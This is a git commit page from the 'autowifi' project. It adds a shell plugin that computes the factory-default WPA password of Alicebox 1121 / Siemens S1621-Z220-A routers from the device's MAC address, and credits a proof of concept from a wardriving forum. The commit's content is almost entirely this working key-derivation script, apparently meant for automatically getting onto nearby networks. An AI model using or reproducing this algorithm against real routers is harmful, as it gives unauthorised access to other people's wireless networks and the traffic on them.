diff options
author | lassulus <lassulus@googlemail.com> | 2013-06-30 14:25:29 +0200 |
---|---|---|
committer | lassulus <lassulus@googlemail.com> | 2013-06-30 14:25:29 +0200 |
commit | af1d85fa6b390f8119c4ba695b3f075bd726806e (patch) | |
tree | 922822531854bfe6caf4a08e2b13a3cd400aade9 /usr/lib/autowifi/plugins/02alice | |
parent | 1d591aa1f4af30f41f2d44656d5b86e73048cffd (diff) | |
parent | b99bbe256c030cec78b1c96d08eb02860dda911c (diff) |
Merge branch 'master' of github.com:krebscode/autowifi
Diffstat (limited to 'usr/lib/autowifi/plugins/02alice')
-rwxr-xr-x | usr/lib/autowifi/plugins/02alice | 20 |
1 files changed, 20 insertions, 0 deletions
diff --git a/usr/lib/autowifi/plugins/02alice b/usr/lib/autowifi/plugins/02alice new file mode 100755 index 00000000..1b4533a4 --- /dev/null +++ b/usr/lib/autowifi/plugins/02alice @@ -0,0 +1,20 @@ +#!/bin/sh +# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm: +# Based on Poc from +# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html +# +# +# ESSID MAC CHANNEL ENCRYPTION + +cd $(dirname $(readlink -f $0)) +. ../lib/plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1 + +# printf always makes string to lower, need that for correct md5sum +ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) +TMP=$(printf $ETHMAC | md5sum) +printf ${TMP:0:12} | base64 +exit 0 |